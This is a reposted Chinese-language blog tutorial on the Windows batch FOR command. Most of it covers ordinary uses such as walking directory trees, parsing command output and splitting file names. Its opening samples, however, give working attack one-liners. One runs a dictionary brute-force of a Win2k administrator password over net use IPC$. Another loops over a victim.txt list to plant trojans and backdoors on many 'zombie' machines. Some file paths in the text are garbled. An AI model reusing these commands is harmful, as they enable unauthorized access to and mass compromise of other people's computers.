sample2: 利用For指令來實作對一台目标Win2k主機的暴力密碼破解。 我們用net use file://ip/ipc$ "password" /u:"administrator"來嘗試這和目标主機進行連接配接,當成功時記下 密碼。 最主要的指令是一條:for /f i% in (dict.txt) do net use file://ip/ipc$ "i%" /u:"administrator" 用i%來表示admin的密碼,在dict.txt中這個取i%的值用net use 指令來連接配接。然後将程式運作結果傳遞給 find指令-- for /f i%% in (dict.txt) do net use file://ip/ipc$ "i%%" /u:"administrator"│find ":指令成功完 成">>D:ok.txt ,這樣就ko了。 sample3: 你有沒有過手裡有大量殭屍電腦等着你去種後門+木馬呢?,當數量特别多的時候,原本很開心的一件事都會 變得很郁悶:)。文章開頭就談到使用批處理檔案,可以簡化日常或重複性任務。那麼如何實作呢?呵呵 ,看下去你就會明白了。 主要指令也隻有一條:(在批處理檔案中使用 FOR 指令時,指定變量使用 %%variable) @for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call door.bat %%i %%j %%k tokens的用法請參見上面的sample1,在這裡它表示按順序将victim.txt中的内容傳遞給door.bat中的參數 %i %j %k。 而cultivate.bat無非就是用net use指令來建立IPC$連接配接,并copy木馬+後門到victim,然後用傳回碼 (If errorlever =)來篩選成功種植後門的主機,并echo出來,或者echo到指定的檔案。 delims= 表示vivtim.txt中的内容是一空格來分隔的。我想看到這裡你也一定明白這victim.txt裡的内容 是什麼樣的了。應該根據%%i %%j %%k表示的對象來排列,一般就是 ip password usernam 下面這文章是我收藏的FOR的經典應用 1. 可以用 /r 參數周遊整個目錄樹 2. 可以用 /f 參數将文本檔案内容作為循環範圍 3. 可以用 /f 參數将某一指令執行結果作為循環範圍 4. 可以用 %~ 操作符将檔案名分離成檔案名、擴充名、盤符等獨立部分 現分别舉例說明如下: 1. 用 /r 周遊目錄樹 當用 *.* 或 *.txt 等檔案名通配符作為 for /r 的循環範圍時,可以對目前目錄下所有檔案(包括子目錄裡面的檔案)進行操作。舉個例子,你想在目前目錄的所有txt檔案(包括子目錄)内容中查找"bluebear"字樣,但由于find本身不能周遊子目錄,是以我們用for: for /r . %a in (*.txt) do @find "bluebear" %a find 前面的 @ 隻是讓輸出結果不包括 find 指令本身。這是DOS很早就有的功能。和FOR無關。 當用 . 作為循環範圍時,for 隻将子目錄的結構(目錄名)作為循環範圍,而不包括裡面的檔案。有點象 TREE 指令,不過側重點不同。TREE 的重點是用很漂亮易讀的格式輸出,而FOR的輸出适合一些自動任務,例如,我們都知道用CVS管理的項目中,每個子目錄下都會有一個CVS目錄,有時在軟體發行時我們想把這些CVS目錄全部去掉: for /r . %a in (.) do @if exist %aCVS rd /s /q %aCVS 先用 if exist 判斷一下,是因為 for 隻是機械的對每個目錄進行列舉,如果有些目錄下面沒有CVS也會被執行到。用 if exist 判斷一下比較安全。 這種删除指令威力太大,請小心使用。最好是在真正執行以上的删除指令前,将 rd /s /q 換成 @echo 先列出要删出的目錄,确認無誤後再換回rd /s /q: for /r . %a in (.) do @if exist %aCVS @echo %aCVS 可能目錄中會多出一層 ".",比如 c:projrelease.CVS ,但不會影響指令的執行效果。 2. 将某一檔案内容或指令執行結果作為循環範圍: 假如你有一個檔案 todel.txt,裡面是所有要删除的檔案清單,現在你想将裡面列出的每個檔案都删掉。假設這個檔案是每個檔案名占一行,象這樣: c:tempa1.txt c:tempa2.txt c:tempsubdirb3.txt c:tempsubdirb4.txt 那麼可以用FOR來完成: for /f %a in (todel.txt) do del %a 這個指令還可以更強大。比如你的 todel.txt 并不是象上面例子那麼幹淨,而是由DIR直接生成,有一些沒用的資訊,比如這樣: Volume in drive D is DATA Volume Serial Number is C47C-9908 Directory of D:tmp 09/26/2001 12:50 PM 18,426 alg0925.txt 12/02/2001 04:29 AM 795 bsample.txt 04/11/2002 04:18 AM 2,043 invitation.txt 4 File(s) 25,651 bytes 0 Dir(s) 4,060,700,672 bytes free for 仍然可以解出其中的檔案名并進行操作: for /f "skip=5 tokens=5" %a in (todel.txt) do @if exist %a DEL %a 當然,上面這個指令是在進行删除,如果你隻是想看看哪些檔案将被操作,把DEL換成echo: for /f "skip=5 tokens=5" %a in (todel.txt) do @if exist %a echo %a 你将看到: alg0925.txt bsample.txt invitation.txt skip=5表示跳過前5行(就是DIR輸出的頭部資訊),tokens=5表示将每行的第5列作為循環值放入%a,正好是檔案名。在這裡我加了一個檔案存在判斷,是因為最後一行的"free"剛好也是第5列,目前還想不出好的辦法來濾掉最後兩行,是以檢查一下可保萬無一失。 3. 可以用 /f 參數将某一指令執行結果作為循環範圍 非常有用的功能。比如,我們想知道目前的環境變量有哪些名字(我們隻要名字,不要值)。可是SET指令的輸出是“名字=值”的格式,現在可以用FOR來隻取得名字部分: FOR /F "delims==" %i IN ('set') DO @echo %i 将看到: ALLUSERSPROFILE APPDATA CLASSPATH CommonProgramFiles COMPUTERNAME ComSpec dircmd HOMEDRIVE ...... 這裡是将set指令執行的結果拿來作為循環範圍。delims==表示用=作為分隔符,由于FOR /F預設是用每行第一個TOKEN,是以可以分離出變量名。如果是想僅列出值: FOR /F "delims== tokens=2" %i IN ('set') DO @echo %i tokens=2和前例相同,表示将第二列(由=作為分隔符)作為循環值。 再來個更有用的例子: 我們知道 date /t (/t表示不要詢問使用者輸入)的輸出是象這樣的: Sat 07/13/2002 現在我想分離出日期部分,也就是13: for /f "tokens=3 delims=/ " %a in ('date /t') do @echo %a 實際上把 tokens後面換成1,2,3或4,你将分别得到Sat, 07, 13和2002。注意delims=/後面還有個空格,表示/和空格都是分隔符。由于這個空格delims必須是/f選項的最後一項。 再靈活一點,象本文開頭提到的,将日期用2002-07-13的格式輸出: for /f "tokens=2,3,4 delims=/ " %a in ('date /t') do @echo %c-%a-%b 當tokens後跟多個值時,将分别映射到%a, %b, %c等。實際上跟你指定的變量有關,如果你指定的是 %i, 它們就會用%i, %j, %k等。 靈活應用這一點,幾乎沒有做不了的事。 4. 可以用 %~ 操作符将檔案名分離成檔案名、擴充名、盤符等獨立部分 這個比較簡單,就是說将循環變量的值自動分離成隻要檔案名,隻要擴充名,或隻要盤符等等。 例:要将 c:mp3下所有mp3的歌名列出,如果用一般的 dir /b/s 或 for /r ,将會是這樣: g:mp3Archived5-18-01-A遊鴻明-下沙遊鴻明-01 下沙.mp3 g:mp3Archived5-18-01-A遊鴻明-下沙遊鴻明-02 21個人.mp3 ...... g:mp3Archived5-18-01-A王菲-寓言王菲-阿修羅.mp3 g:mp3Archived5-18-01-A王菲-寓言王菲-彼岸花.mp3 g:mp3Archived5-18-01-A王菲-寓言王菲-不愛我的我不愛.mp3 ...... 如果我隻要歌名(不要路徑和".mp3"): 遊鴻明-01 下沙 遊鴻明-02 21個人 ...... 王菲-阿修羅 王菲-彼岸花 王菲-不愛我的我不愛 ...... 那麼可以用FOR指令: for /r g:mp3 %a in (*.mp3) do @echo %~na |
來自 “ ITPUB部落格 ” ,連結:http://blog.itpub.net/66634/viewspace-1011722/,如需轉載,請注明出處,否則将追究法律責任。
轉載于:http://blog.itpub.net/66634/viewspace-1011722/